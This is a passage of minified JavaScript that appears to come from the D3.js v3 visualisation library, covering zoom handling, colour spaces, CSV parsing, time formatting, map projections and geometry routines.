n=L.of(this,arguments),t=S;Ss?Zo.select(this).transition().each("start.zoom",function(){S=this.__chart__||{x:0,y:0,k:1},o(n)}).tween("zoom:zoom",function(){var e=k[0],r=k[1],u=e/2,i=r/2,o=Zo.interpolateZoom([(u-S.x)/S.k,(i-S.y)/S.k,e/S.k],[(u-t.x)/t.k,(i-t.y)/t.k,e/t.k]);return function(t){var r=o(t),c=e/r[2];this.__chart__=S={x:u-r[0]*c,y:i-r[1]*c,k:c},a(n)}}).each("end.zoom",function(){c(n)}):(this.__chart__=S,o(n),a(n),c(n))})},n.translate=function(t){return arguments.length?(S={x:+t[0],y:+t[1],k:S.k},i(),n):[S.x,S.y]},n.scale=function(t){return arguments.length?(S={x:S.x,y:S.y,k:+t},i(),n):S.k},n.scaleExtent=function(t){return arguments.length?(E=null==t?qa:[+t[0],+t[1]],n):E},n.center=function(t){return arguments.length?(v=t&&[+t[0],+t[1]],n):v},n.size=function(t){return arguments.length?(k=t&&[+t[0],+t[1]],n):k},n.x=function(t){return arguments.length?(_=t,x=t.copy(),S={x:0,y:0,k:1},n):_},n.y=function(t){return arguments.length?(w=t,b=t.copy(),S={x:0,y:0,k:1},n):w},Zo.rebind(n,L,"on")};var Ta,qa=[0,1/0],Ra="onwheel"in $o?(Ta=function(){return-Zo.event.deltaY*(Zo.event.deltaMode?120:1)},"wheel"):"onmousewheel"in $o?(Ta=function(){return Zo.event.wheelDelta},"mousewheel"):(Ta=function(){return-Zo.event.detail},"MozMousePixelScroll");Zo.color=et,et.prototype.toString=function(){return this.rgb()+""},Zo.hsl=rt;var Da=rt.prototype=new et;Da.brighter=function(n){return n=Math.pow(.7,arguments.length?n:1),new rt(this.h,this.s,this.l/n)},Da.darker=function(n){return n=Math.pow(.7,arguments.length?n:1),new rt(this.h,this.s,n*this.l)},Da.rgb=function(){return ut(this.h,this.s,this.l)},Zo.hcl=it;var Pa=it.prototype=new et;Pa.brighter=function(n){return new it(this.h,this.c,Math.min(100,this.l+Ua*(arguments.length?n:1)))},Pa.darker=function(n){return new it(this.h,this.c,Math.max(0,this.l-Ua*(arguments.length?n:1)))},Pa.rgb=function(){return ot(this.h,this.c,this.l).rgb()},Zo.lab=at;var Ua=18,ja=.95047,Ha=1,Fa=1.08883,Oa=at.prototype=new et;Oa.brighter=function(n){return new at(Math.min(100,this.l+Ua*(arguments.length?n:1)),this.a,this.b)},Oa.darker=function(n){return new at(Math.max(0,this.l-Ua*(arguments.length?n:1)),this.a,this.b)},Oa.rgb=function(){return ct(this.l,this.a,this.b)},Zo.rgb=gt;var Ya=gt.prototype=new et;Ya.brighter=function(n){n=Math.pow(.7,arguments.length?n:1);var t=this.r,e=this.g,r=this.b,u=30;return t||e||r?(t&&u>t&&(t=u),e&&u>e&&(e=u),r&&u>r&&(r=u),new gt(Math.min(255,t/n),Math.min(255,e/n),Math.min(255,r/n))):new gt(u,u,u)},Ya.darker=function(n){return n=Math.pow(.7,arguments.length?n:1),new gt(n*this.r,n*this.g,n*this.b)},Ya.hsl=function(){return yt(this.r,this.g,this.b)},Ya.toString=function(){return"#"+dt(this.r)+dt(this.g)+dt(this.b)};var Ia=Zo.map({aliceblue:15792383,antiquewhite:16444375,aqua:65535,aquamarine:8388564,azure:15794175,beige:16119260,bisque:16770244,black:0,blanchedalmond:16772045,blue:255,blueviolet:9055202,brown:10824234,burlywood:14596231,cadetblue:6266528,chartreuse:8388352,chocolate:13789470,coral:16744272,cornflowerblue:6591981,cornsilk:16775388,crimson:14423100,cyan:65535,darkblue:139,darkcyan:35723,darkgoldenrod:12092939,darkgray:11119017,darkgreen:25600,darkgrey:11119017,darkkhaki:12433259,darkmagenta:9109643,darkolivegreen:5597999,darkorange:16747520,darkorchid:10040012,darkred:9109504,darksalmon:15308410,darkseagreen:9419919,darkslateblue:4734347,darkslategray:3100495,darkslategrey:3100495,darkturquoise:52945,darkviolet:9699539,deeppink:16716947,deepskyblue:49151,dimgray:6908265,dimgrey:6908265,dodgerblue:2003199,firebrick:11674146,floralwhite:16775920,forestgreen:2263842,fuchsia:16711935,gainsboro:14474460,ghostwhite:16316671,gold:16766720,goldenrod:14329120,gray:8421504,green:32768,greenyellow:11403055,grey:8421504,honeydew:15794160,hotpink:16738740,indianred:13458524,indigo:4915330,ivory:16777200,khaki:15787660,lavender:15132410,lavenderblush:16773365,lawngreen:8190976,lemonchiffon:16775885,lightblue:11393254,lightcoral:15761536,lightcyan:14745599,lightgoldenrodyellow:16448210,lightgray:13882323,lightgreen:9498256,lightgrey:13882323,lightpink:16758465,lightsalmon:16752762,lightseagreen:2142890,lightskyblue:8900346,lightslategray:7833753,lightslategrey:7833753,lightsteelblue:11584734,lightyellow:16777184,lime:65280,limegreen:3329330,linen:16445670,magenta:16711935,maroon:8388608,mediumaquamarine:6737322,mediumblue:205,mediumorchid:12211667,mediumpurple:9662683,mediumseagreen:3978097,mediumslateblue:8087790,mediumspringgreen:64154,mediumturquoise:4772300,mediumvioletred:13047173,midnightblue:1644912,mintcream:16121850,mistyrose:16770273,moccasin:16770229,navajowhite:16768685,navy:128,oldlace:16643558,olive:8421376,olivedrab:7048739,orange:16753920,orangered:16729344,orchid:14315734,palegoldenrod:15657130,palegreen:10025880,paleturquoise:11529966,palevioletred:14381203,papayawhip:16773077,peachpuff:16767673,peru:13468991,pink:16761035,plum:14524637,powderblue:11591910,purple:8388736,red:16711680,rosybrown:12357519,royalblue:4286945,saddlebrown:9127187,salmon:16416882,sandybrown:16032864,seagreen:3050327,seashell:16774638,sienna:10506797,silver:12632256,skyblue:8900331,slateblue:6970061,slategray:7372944,slategrey:7372944,snow:16775930,springgreen:65407,steelblue:4620980,tan:13808780,teal:32896,thistle:14204888,tomato:16737095,turquoise:4251856,violet:15631086,wheat:16113331,white:16777215,whitesmoke:16119285,yellow:16776960,yellowgreen:10145074});Ia.forEach(function(n,t){Ia.set(n,pt(t))}),Zo.functor=bt,Zo.xhr=St(wt),Zo.dsv=function(n,t){function e(n,e,i){arguments.length<3&&(i=e,e=null);var o=kt(n,t,null==e?r:u(e),i);return o.row=function(n){return arguments.length?o.response(null==(e=n)?r:u(n)):e},o}function r(n){return e.parse(n.responseText)}function u(n){return function(t){return e.parse(t.responseText,n)}}function i(t){return t.map(o).join(n)}function o(n){return a.test(n)?'"'+n.replace(/\"/g,'""')+'"':n}var a=new RegExp('["'+n+"\n]"),c=n.charCodeAt(0);return e.parse=function(n,t){var r;return e.parseRows(n,function(n,e){if(r)return r(n,e-1);var u=new Function("d","return {"+n.map(function(n,t){return JSON.stringify(n)+": d["+t+"]"}).join(",")+"}");r=t?function(n,e){return t(u(n),e)}:u})},e.parseRows=function(n,t){function e(){if(l>=s)return o;if(u)return u=!1,i;var t=l;if(34===n.charCodeAt(t)){for(var e=t;e++<s;)if(34===n.charCodeAt(e)){if(34!==n.charCodeAt(e+1))break;++e}l=e+2;var r=n.charCodeAt(e+1);return 13===r?(u=!0,10===n.charCodeAt(e+2)&&++l):10===r&&(u=!0),n.substring(t+1,e).replace(/""/g,'"')}for(;s>l;){var r=n.charCodeAt(l++),a=1;if(10===r)u=!0;else if(13===r)u=!0,10===n.charCodeAt(l)&&(++l,++a);else if(r!==c)continue;return n.substring(t,l-a)}return n.substring(t)}for(var r,u,i={},o={},a=[],s=n.length,l=0,f=0;(r=e())!==o;){for(var h=[];r!==i&&r!==o;)h.push(r),r=e();(!t||(h=t(h,f++)))&&a.push(h)}return a},e.format=function(t){if(Array.isArray(t[0]))return e.formatRows(t);var r=new h,u=[];return t.forEach(function(n){for(var t in n)r.has(t)||u.push(r.add(t))}),[u.map(o).join(n)].concat(t.map(function(t){return u.map(function(n){return o(t[n])}).join(n)})).join("\n")},e.formatRows=function(n){return n.map(i).join("\n")},e},Zo.csv=Zo.dsv(",","text/csv"),Zo.tsv=Zo.dsv(" ","text/tab-separated-values"),Zo.touch=function(n,t,e){if(arguments.length<3&&(e=t,t=x().changedTouches),t)for(var r,u=0,i=t.length;i>u;++u)if((r=t[u]).identifier===e)return Z(n,r)};var Za,Va,Xa,$a,Ba,Wa=Wo[p(Wo,"requestAnimationFrame")]||function(n){setTimeout(n,17)};Zo.timer=function(n,t,e){var r=arguments.length;2>r&&(t=0),3>r&&(e=Date.now());var u=e+t,i={c:n,t:u,f:!1,n:null};Va?Va.n=i:Za=i,Va=i,Xa||($a=clearTimeout($a),Xa=1,Wa(At))},Zo.timer.flush=function(){Ct(),Nt()},Zo.round=function(n,t){return t?Math.round(n*(t=Math.pow(10,t)))/t:Math.round(n)};var Ja=["y","z","a","f","p","n","\xb5","m","","k","M","G","T","P","E","Z","Y"].map(Lt);Zo.formatPrefix=function(n,t){var e=0;return n&&(0>n&&(n*=-1),t&&(n=Zo.round(n,zt(n,t))),e=1+Math.floor(1e-12+Math.log(n)/Math.LN10),e=Math.max(-24,Math.min(24,3*Math.floor((e-1)/3)))),Ja[8+e/3]};var Ga=/(?:([^{])?([<>=^]))?([+\- ])?([$#])?(0)?(\d+)?(,)?(\.-?\d+)?([a-z%])?/i,Ka=Zo.map({b:function(n){return n.toString(2)},c:function(n){return String.fromCharCode(n)},o:function(n){return n.toString(8)},x:function(n){return n.toString(16)},X:function(n){return n.toString(16).toUpperCase()},g:function(n,t){return n.toPrecision(t)},e:function(n,t){return n.toExponential(t)},f:function(n,t){return n.toFixed(t)},r:function(n,t){return(n=Zo.round(n,zt(n,t))).toFixed(Math.max(0,Math.min(20,zt(n*(1+1e-15),t))))}}),Qa=Zo.time={},nc=Date;Rt.prototype={getDate:function(){return this._.getUTCDate()},getDay:function(){return this._.getUTCDay()},getFullYear:function(){return this._.getUTCFullYear()},getHours:function(){return this._.getUTCHours()},getMilliseconds:function(){return this._.getUTCMilliseconds()},getMinutes:function(){return this._.getUTCMinutes()},getMonth:function(){return this._.getUTCMonth()},getSeconds:function(){return this._.getUTCSeconds()},getTime:function(){return this._.getTime()},getTimezoneOffset:function(){return 0},valueOf:function(){return this._.valueOf()},setDate:function(){tc.setUTCDate.apply(this._,arguments)},setDay:function(){tc.setUTCDay.apply(this._,arguments)},setFullYear:function(){tc.setUTCFullYear.apply(this._,arguments)},setHours:function(){tc.setUTCHours.apply(this._,arguments)},setMilliseconds:function(){tc.setUTCMilliseconds.apply(this._,arguments)},setMinutes:function(){tc.setUTCMinutes.apply(this._,arguments)},setMonth:function(){tc.setUTCMonth.apply(this._,arguments)},setSeconds:function(){tc.setUTCSeconds.apply(this._,arguments)},setTime:function(){tc.setTime.apply(this._,arguments)}};var tc=Date.prototype;Qa.year=Dt(function(n){return n=Qa.day(n),n.setMonth(0,1),n},function(n,t){n.setFullYear(n.getFullYear()+t)},function(n){return n.getFullYear()}),Qa.years=Qa.year.range,Qa.years.utc=Qa.year.utc.range,Qa.day=Dt(function(n){var t=new nc(2e3,0);return t.setFullYear(n.getFullYear(),n.getMonth(),n.getDate()),t},function(n,t){n.setDate(n.getDate()+t)},function(n){return n.getDate()-1}),Qa.days=Qa.day.range,Qa.days.utc=Qa.day.utc.range,Qa.dayOfYear=function(n){var t=Qa.year(n);return Math.floor((n-t-6e4*(n.getTimezoneOffset()-t.getTimezoneOffset()))/864e5)},["sunday","monday","tuesday","wednesday","thursday","friday","saturday"].forEach(function(n,t){t=7-t;var e=Qa[n]=Dt(function(n){return(n=Qa.day(n)).setDate(n.getDate()-(n.getDay()+t)%7),n},function(n,t){n.setDate(n.getDate()+7*Math.floor(t))},function(n){var e=Qa.year(n).getDay();return Math.floor((Qa.dayOfYear(n)+(e+t)%7)/7)-(e!==t)});Qa[n+"s"]=e.range,Qa[n+"s"].utc=e.utc.range,Qa[n+"OfYear"]=function(n){var e=Qa.year(n).getDay();return Math.floor((Qa.dayOfYear(n)+(e+t)%7)/7)}}),Qa.week=Qa.sunday,Qa.weeks=Qa.sunday.range,Qa.weeks.utc=Qa.sunday.utc.range,Qa.weekOfYear=Qa.sundayOfYear;var ec={"-":"",_:" ",0:"0"},rc=/^\s*\d+/,uc=/^%/;Zo.locale=function(n){return{numberFormat:Tt(n),timeFormat:Ut(n)}};var ic=Zo.locale({decimal:".",thousands:",",grouping:[3],currency:["$",""],dateTime:"%a %b %e %X %Y",date:"%m/%d/%Y",time:"%H:%M:%S",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});Zo.format=ic.numberFormat,Zo.geo={},ue.prototype={s:0,t:0,add:function(n){ie(n,this.t,oc),ie(oc.s,this.s,this),this.s?this.t+=oc.t:this.s=oc.t},reset:function(){this.s=this.t=0},valueOf:function(){return this.s}};var oc=new ue;Zo.geo.stream=function(n,t){n&&ac.hasOwnProperty(n.type)?ac[n.type](n,t):oe(n,t)};var ac={Feature:function(n,t){oe(n.geometry,t)},FeatureCollection:function(n,t){for(var e=n.features,r=-1,u=e.length;++r<u;)oe(e[r].geometry,t)}},cc={Sphere:function(n,t){t.sphere()},Point:function(n,t){n=n.coordinates,t.point(n[0],n[1],n[2])},MultiPoint:function(n,t){for(var e=n.coordinates,r=-1,u=e.length;++r<u;)n=e[r],t.point(n[0],n[1],n[2])},LineString:function(n,t){ae(n.coordinates,t,0)},MultiLineString:function(n,t){for(var e=n.coordinates,r=-1,u=e.length;++r<u;)ae(e[r],t,0)},Polygon:function(n,t){ce(n.coordinates,t)},MultiPolygon:function(n,t){for(var e=n.coordinates,r=-1,u=e.length;++r<u;)ce(e[r],t)},GeometryCollection:function(n,t){for(var e=n.geometries,r=-1,u=e.length;++r<u;)oe(e[r],t)}};Zo.geo.area=function(n){return sc=0,Zo.geo.stream(n,fc),sc};var sc,lc=new ue,fc={sphere:function(){sc+=4*ba},point:v,lineStart:v,lineEnd:v,polygonStart:function(){lc.reset(),fc.lineStart=se},polygonEnd:function(){var n=2*lc;sc+=0>n?4*ba+n:n,fc.lineStart=fc.lineEnd=fc.point=v}};Zo.geo.bounds=function(){function n(n,t){x.push(M=[l=n,h=n]),f>t&&(f=t),t>g&&(g=t)}function t(t,e){var r=le([t*Aa,e*Aa]);if(m){var u=he(m,r),i=[u[1],-u[0],0],o=he(i,u);ve(o),o=de(o);var c=t-p,s=c>0?1:-1,v=o[0]*Ca*s,d=ua(c)>180;if(d^(v>s*p&&s*t>v)){var y=o[1]*Ca;y>g&&(g=y)}else if(v=(v+360)%360-180,d^(v>s*p&&s*t>v)){var y=-o[1]*Ca;f>y&&(f=y)}else f>e&&(f=e),e>g&&(g=e);d?p>t?a(l,t)>a(l,h)&&(h=t):a(t,h)>a(l,h)&&(l=t):h>=l?(l>t&&(l=t),t>h&&(h=t)):t>p?a(l,t)>a(l,h)&&(h=t):a(t,h)>a(l,h)&&(l=t)}else n(t,e);m=r,p=t}function e(){_.point=t}function r(){M[0]=l,M[1]=h,_.point=n,m=null}function u(n,e){if(m){var r=n-p;y+=ua(r)>180?r+(r>0?360:-360):r}else v=n,d=e;fc.point(n,e),t(n,e)}function i(){fc.lineStart()}function o(){u(v,d),fc.lineEnd(),ua(y)>ka&&(l=-(h=180)),M[0]=l,M[1]=h,m=null}function a(n,t){return(t-=n)<0?t+360:t}function c(n,t){return n[0]-t[0]}function s(n,t){return t[0]<=t[1]?t[0]<=n&&n<=t[1]:n<t[0]||t[1]<n}var l,f,h,g,p,v,d,m,y,x,M,_={point:n,lineStart:e,lineEnd:r,polygonStart:function(){_.point=u,_.lineStart=i,_.lineEnd=o,y=0,fc.polygonStart()},polygonEnd:function(){fc.polygonEnd(),_.point=n,_.lineStart=e,_.lineEnd=r,0>lc?(l=-(h=180),f=-(g=90)):y>ka?g=90:-ka>y&&(f=-90),M[0]=l,M[1]=h}};return function(n){g=h=-(l=f=1/0),x=[],Zo.geo.stream(n,_);var t=x.length;if(t){x.sort(c);for(var e,r=1,u=x[0],i=[u];t>r;++r)e=x[r],s(e[0],u)||s(e[1],u)?(a(u[0],e[1])>a(u[0],u[1])&&(u[1]=e[1]),a(e[0],u[1])>a(u[0],u[1])&&(u[0]=e[0])):i.push(u=e);
3 for(var o,e,p=-1/0,t=i.length-1,r=0,u=i[t];t>=r;u=e,++r)e=i[r],(o=a(u[1],e[0]))>p&&(p=o,l=e[0],h=u[1])}return x=M=null,1/0===l||1/0===f?[[0/0,0/0],[0/0,0/0]]:[[l,f],[h,g]]}}(),Zo.geo.centroid=function(n){hc=gc=pc=vc=dc=mc=yc=xc=Mc=_c=bc=0,Zo.geo.stream(n,wc);var t=Mc,e=_c,r=bc,u=t*t+e*e+r*r;return Ea>u&&(t=mc,e=yc,r=xc,ka>gc&&(t=pc,e=vc,r=dc),u=t*t+e*e+r*r,Ea>u)?[0/0,0/0]:[Math.atan2(e,t)*Ca,G(r/Math.sqrt(u))*Ca]};var hc,gc,pc,vc,dc,mc,yc,xc,Mc,_c,bc,wc={sphere:v,point:ye,lineStart:Me,lineEnd:_e,polygonStart:function(){wc.lineStart=be},polygonEnd:function(){wc.lineStart=Me}},Sc=Ae(we,Te,Re,[-ba,-ba/2]),kc=1e9;Zo.geo.clipExtent=function(){var n,t,e,r,u,i,o={stream:function(n){return u&&(u.valid=!1),u=i(n),u.valid=!0,u},extent:function(a){return arguments.length?(i=Ue(n=+a[0][0],t=+a[0][1],e=+a[1][0],r=+a[1][1]),u&&(u.valid=!1,u=null),o):[[n,t],[e,r]]}};return o.extent([[0,0],[960,500]])},(Zo.geo.conicEqualArea=function(){return He(Fe)}).raw=Fe,Zo.geo.albers=function(){return Zo.geo.conicEqualArea().rotate([96,0]).center([-.6,38.7]).parallels([29.5,45.5]).scale(1070)},Zo.geo.albersUsa=function(){function n(n){var i=n[0],o=n[1];return t=null,e(i,o),t||(r(i,o),t)||u(i,o),t}var t,e,r,u,i=Zo.geo.albers(),o=Zo.geo.conicEqualArea().rotate([154,0]).center([-2,58.5]).parallels([55,65]),a=Zo.geo.conicEqualArea().rotate([157,0]).center([-3,19.9]).parallels([8,18]),c={point:function(n,e){t=[n,e]}};return n.invert=function(n){var t=i.scale(),e=i.translate(),r=(n[0]-e[0])/t,u=(n[1]-e[1])/t;return(u>=.12&&.234>u&&r>=-.425&&-.214>r?o:u>=.166&&.234>u&&r>=-.214&&-.115>r?a:i).invert(n)},n.stream=function(n){var t=i.stream(n),e=o.stream(n),r=a.stream(n);return{point:function(n,u){t.point(n,u),e.point(n,u),r.point(n,u)},sphere:function(){t.sphere(),e.sphere(),r.sphere()},lineStart:function(){t.lineStart(),e.lineStart(),r.lineStart()},lineEnd:function(){t.lineEnd(),e.lineEnd(),r.lineEnd()},polygonStart:function(){t.polygonStart(),e.polygonStart(),r.polygonStart()},polygonEnd:function(){t.polygonEnd(),e.polygonEnd(),r.polygonEnd()}}},n.precision=function(t){return arguments.length?(i.precision(t),o.precision(t),a.precision(t),n):i.precision()},n.scale=function(t){return arguments.length?(i.scale(t),o.scale(.35*t),a.scale(t),n.translate(i.translate())):i.scale()},n.translate=function(t){if(!arguments.length)return i.translate();var s=i.scale(),l=+t[0],f=+t[1];return e=i.translate(t).clipExtent([[l-.455*s,f-.238*s],[l+.455*s,f+.238*s]]).stream(c).point,r=o.translate([l-.307*s,f+.201*s]).clipExtent([[l-.425*s+ka,f+.12*s+ka],[l-.214*s-ka,f+.234*s-ka]]).stream(c).point,u=a.translate([l-.205*s,f+.212*s]).clipExtent([[l-.214*s+ka,f+.166*s+ka],[l-.115*s-ka,f+.234*s-ka]]).stream(c).point,n},n.scale(1070)};var Ec,Ac,Cc,Nc,zc,Lc,Tc={point:v,lineStart:v,lineEnd:v,polygonStart:function(){Ac=0,Tc.lineStart=Oe},polygonEnd:function(){Tc.lineStart=Tc.lineEnd=Tc.point=v,Ec+=ua(Ac/2)}},qc={point:Ye,lineStart:v,lineEnd:v,polygonStart:v,polygonEnd:v},Rc={point:Ve,lineStart:Xe,lineEnd:$e,polygonStart:function(){Rc.lineStart=Be},polygonEnd:function(){Rc.point=Ve,Rc.lineStart=Xe,Rc.lineEnd=$e}};Zo.geo.path=function(){function n(n){return n&&("function"==typeof a&&i.pointRadius(+a.apply(this,arguments)),o&&o.valid||(o=u(i)),Zo.geo.stream(n,o)),i.result()}function t(){return o=null,n}var e,r,u,i,o,a=4.5;return n.area=function(n){return Ec=0,Zo.geo.stream(n,u(Tc)),Ec},n.centroid=function(n){return pc=vc=dc=mc=yc=xc=Mc=_c=bc=0,Zo.geo.stream(n,u(Rc)),bc?[Mc/bc,_c/bc]:xc?[mc/xc,yc/xc]:dc?[pc/dc,vc/dc]:[0/0,0/0]},n.bounds=function(n){return zc=Lc=-(Cc=Nc=1/0),Zo.geo.stream(n,u(qc)),[[Cc,Nc],[zc,Lc]]},n.projection=function(n){return arguments.length?(u=(e=n)?n.stream||Ge(n):wt,t()):e},n.context=function(n){return arguments.length?(i=null==(r=n)?new Ie:new We(n),"function"!=typeof a&&i.pointRadius(a),t()):r},n.pointRadius=function(t){return arguments.length?(a="function"==typeof t?t:(i.pointRadius(+t),+t),n):a},n.projection(Zo.geo.albersUsa()).context(null)},Zo.geo.transform=function(n){return{stream:function(t){var e=new Ke(t);for(var r in n)e[r]=n[r];return e}}},Ke.prototype={point:function(n,t){this.stream.point(n,t)},sphere:function(){this.stream.sphere()},lineStart:function(){this.stream.lineStart()},lineEnd:function(){this.stream.lineEnd()},polygonStart:function(){this.stream.polygonStart()},polygonEnd:function(){this.stream.polygonEnd()}},Zo.geo.projection=nr,Zo.geo.projectionMutator=tr,(Zo.geo.equirectangular=function(){return nr(rr)}).raw=rr.invert=rr,Zo.geo.rotation=function(n){function t(t){return t=n(t[0]*Aa,t[1]*Aa),t[0]*=Ca,t[1]*=Ca,t}return n=ir(n[0]%360*Aa,n[1]*Aa,n.length>2?n[2]*Aa:0),t.invert=function(t){return t=n.invert(t[0]*Aa,t[1]*Aa),t[0]*=Ca,t[1]*=Ca,t},t},ur.invert=rr,Zo.geo.circle=function(){function n(){var n="function"==typeof r?r.apply(this,arguments):r,t=ir(-n[0]*Aa,-n[1]*Aa,0).invert,u=[];return e(null,null,1,{point:function(n,e){u.push(n=t(n,e)),n[0]*=Ca,n[1]*=Ca}}),{type:"Polygon",coordinates:[u]}}var t,e,r=[0,0],u=6;return n.origin=function(t){return arguments.length?(r=t,n):r},n.angle=function(r){return arguments.length?(e=sr((t=+r)*Aa,u*Aa),n):t},n.precision=function(r){return arguments.length?(e=sr(t*Aa,(u=+r)*Aa),n):u},n.angle(90)},Zo.geo.distance=function(n,t){var e,r=(t[0]-n[0])*Aa,u=n[1]*Aa,i=t[1]*Aa,o=Math.sin(r),a=Math.cos(r),c=Math.sin(u),s=Math.cos(u),l=Math.sin(i),f=Math.cos(i);return Math.atan2(Math.sqrt((e=f*o)*e+(e=s*l-c*f*a)*e),c*l+s*f*a)},Zo.geo.graticule=function(){function n(){return{type:"MultiLineString",coordinates:t()}}function t(){return Zo.range(Math.ceil(i/d)*d,u,d).map(h).concat(Zo.range(Math.ceil(s/m)*m,c,m).map(g)).concat(Zo.range(Math.ceil(r/p)*p,e,p).filter(function(n){return ua(n%d)>ka}).map(l)).concat(Zo.range(Math.ceil(a/v)*v,o,v).filter(function(n){return ua(n%m)>ka}).map(f))}var e,r,u,i,o,a,c,s,l,f,h,g,p=10,v=p,d=90,m=360,y=2.5;return n.lines=function(){return t().map(function(n){return{type:"LineString",coordinates:n}})},n.outline=function(){return{type:"Polygon",coordinates:[h(i).concat(g(c).slice(1),h(u).reverse().slice(1),g(s).reverse().slice(1))]}},n.extent=function(t){return arguments.length?n.majorExtent(t).minorExtent(t):n.minorExtent()},n.majorExtent=function(t){return arguments.length?(i=+t[0][0],u=+t[1][0],s=+t[0][1],c=+t[1][1],i>u&&(t=i,i=u,u=t),s>c&&(t=s,s=c,c=t),n.precision(y)):[[i,s],[u,c]]},n.minorExtent=function(t){return arguments.length?(r=+t[0][0],e=+t[1][0],a=+t[0][1],o=+t[1][1],r>e&&(t=r,r=e,e=t),a>o&&(t=a,a=o,o=t),n.precision(y)):[[r,a],[e,o]]},n.step=function(t){return arguments.length?n.majorStep(t).minorStep(t):n.minorStep()},n.majorStep=function(t){return arguments.length?(d=+t[0],m=+t[1],n):[d,m]},n.minorStep=function(t){return arguments.length?(p=+t[0],v=+t[1],n):[p,v]},n.precision=function(t){return arguments.length?(y=+t,l=fr(a,o,90),f=hr(r,e,y),h=fr(s,c,90),g=hr(i,u,y),n):y},n.majorExtent([[-180,-90+ka],[180,90-ka]]).minorExtent([[-180,-80-ka],[180,80+ka]])},Zo.geo.greatArc=function(){function n(){return{type:"LineString",coordinates:[t||r.apply(this,arguments),e||u.apply(this,arguments)]}}var t,e,r=gr,u=pr;return n.distance=function(){return Zo.geo.distance(t||r.apply(this,arguments),e||u.apply(this,arguments))},n.source=function(e){return arguments.length?(r=e,t="function"==typeof e?null:e,n):r},n.target=function(t){return arguments.length?(u=t,e="function"==typeof t?null:t,n):u},n.precision=function(){return arguments.length?n:0},n},Zo.geo.interpolate=function(n,t){return vr(n[0]*Aa,n[1]*Aa,t[0]*Aa,t[1]*Aa)},Zo.geo.length=function(n){return Dc=0,Zo.geo.stream(n,Pc),Dc};var Dc,Pc={sphere:v,point:v,lineStart:dr,lineEnd:v,polygonStart:v,polygonEnd:v},Uc=mr(function(n){return Math.sqrt(2/(1+n))},function(n){return 2*Math.asin(n/2)});(Zo.geo.azimuthalEqualArea=function(){return nr(Uc)}).raw=Uc;var jc=mr(function(n){var t=Math.acos(n);return t&&t/Math.sin(t)},wt);(Zo.geo.azimuthalEquidistant=function(){return nr(jc)}).raw=jc,(Zo.geo.conicConformal=function(){return He(yr)}).raw=yr,(Zo.geo.conicEquidistant=function(){return He(xr)}).raw=xr;var Hc=mr(function(n){return 1/n},Math.atan);(Zo.geo.gnomonic=function(){return nr(Hc)}).raw=Hc,Mr.invert=function(n,t){return[n,2*Math.atan(Math.exp(t))-Sa]},(Zo.geo.mercator=function(){return _r(Mr)}).raw=Mr;var Fc=mr(function(){return 1},Math.asin);(Zo.geo.orthographic=function(){return nr(Fc)}).raw=Fc;var Oc=mr(function(n){return 1/(1+n)},function(n){return 2*Math.atan(n)});(Zo.geo.stereographic=function(){return nr(Oc)}).raw=Oc,br.invert=function(n,t){return[-t,2*Math.atan(Math.exp(n))-Sa]},(Zo.geo.transverseMercator=function(){var n=_r(br),t=n.center,e=n.rotate;return n.center=function(n){return n?t([-n[1],n[0]]):(n=t(),[n[1],-n[0]])},n.rotate=function(n){return n?e([n[0],n[1],n.length>2?n[2]+90:90]):(n=e(),[n[0],n[1],n[2]-90])},e([0,0,90])}).raw=br,Zo.geom={},Zo.geom.hull=function(n){function t(n){if(n.length<3)return[];var t,u=bt(e),i=bt(r),o=n.length,a=[],c=[];for(t=0;o>t;t++)a.push([+u.call(this,n[t],t),+i.call(this,n[t],t),t]);for(a.sort(Er),t=0;o>t;t++)c.push([a[t][0],-a[t][1]]);var s=kr(a),l=kr(c),f=l[0]===s[0],h=l[l.length-1]===s[s.length-1],g=[];for(t=s.length-1;t>=0;--t)g.push(n[a[s[t]][2]]);for(t=+f;t<l.length-h;++t)g.push(n[a[l[t]][2]]);return g}var e=wr,r=Sr;return arguments.length?t(n):(t.x=function(n){return arguments.length?(e=n,t):e},t.y=function(n){return arguments.length?(r=n,t):r},t)},Zo.geom.polygon=function(n){return sa(n,Yc),n};var Yc=Zo.geom.polygon.prototype=[];Yc.area=function(){for(var n,t=-1,e=this.length,r=this[e-1],u=0;++t<e;)n=r,r=this[t],u+=n[1]*r[0]-n[0]*r[1];return.5*u},Yc.centroid=function(n){var t,e,r=-1,u=this.length,i=0,o=0,a=this[u-1];for(arguments.length||(n=-1/(6*this.area()));++r<u;)t=a,a=this[r],e=t[0]*a[1]-a[0]*t[1],i+=(t[0]+a[0])*e,o+=(t[1]+a[1])*e;return[i*n,o*n]},Yc.clip=function(n){for(var t,e,r,u,i,o,a=Nr(n),c=-1,s=this.length-Nr(this),l=this[s-1];++c<s;){for(t=n.slice(),n.length=0,u=this[c],i=t[(r=t.length-a)-1],e=-1;++e<r;)o=t[e],Ar(o,l,u)?(Ar(i,l,u)||n.push(Cr(i,o,l,u)),n.push(o)):Ar(i,l,u)&&n.push(Cr(i,o,l,u)),i=o;a&&n.push(n[0]),l=u}return n};var Ic,Zc,Vc,Xc,$c,Bc=[],Wc=[];Ur.prototype.prepare=function(){for(var n,t=this.edges,e=t.length;e--;)n=t[e].edge,n.b&&n.a||t.splice(e,1);return t.sort(Hr),t.length},Wr.prototype={start:function(){return this.edge.l===this.site?this.edge.a:this.edge.b},end:function(){return this.edge.l===this.site?this.edge.b:this.edge.a}},Jr.prototype={insert:function(n,t){var e,r,u;if(n){if(t.P=n,t.N=n.N,n.N&&(n.N.P=t),n.N=t,n.R){for(n=n.R;n.L;)n=n.L;n.L=t}else n.R=t;e=n}else this._?(n=nu(this._),t.P=null,t.N=n,n.P=n.L=t,e=n):(t.P=t.N=null,this._=t,e=null);for(t.L=t.R=null,t.U=e,t.C=!0,n=t;e&&e.C;)r=e.U,e===r.L?(u=r.R,u&&u.C?(e.C=u.C=!1,r.C=!0,n=r):(n===e.R&&(Kr(this,e),n=e,e=n.U),e.C=!1,r.C=!0,Qr(this,r))):(u=r.L,u&&u.C?(e.C=u.C=!1,r.C=!0,n=r):(n===e.L&&(Qr(this,e),n=e,e=n.U),e.C=!1,r.C=!0,Kr(this,r))),e=n.U;this._.C=!1},remove:function(n){n.N&&(n.N.P=n.P),n.P&&(n.P.N=n.N),n.N=n.P=null;var 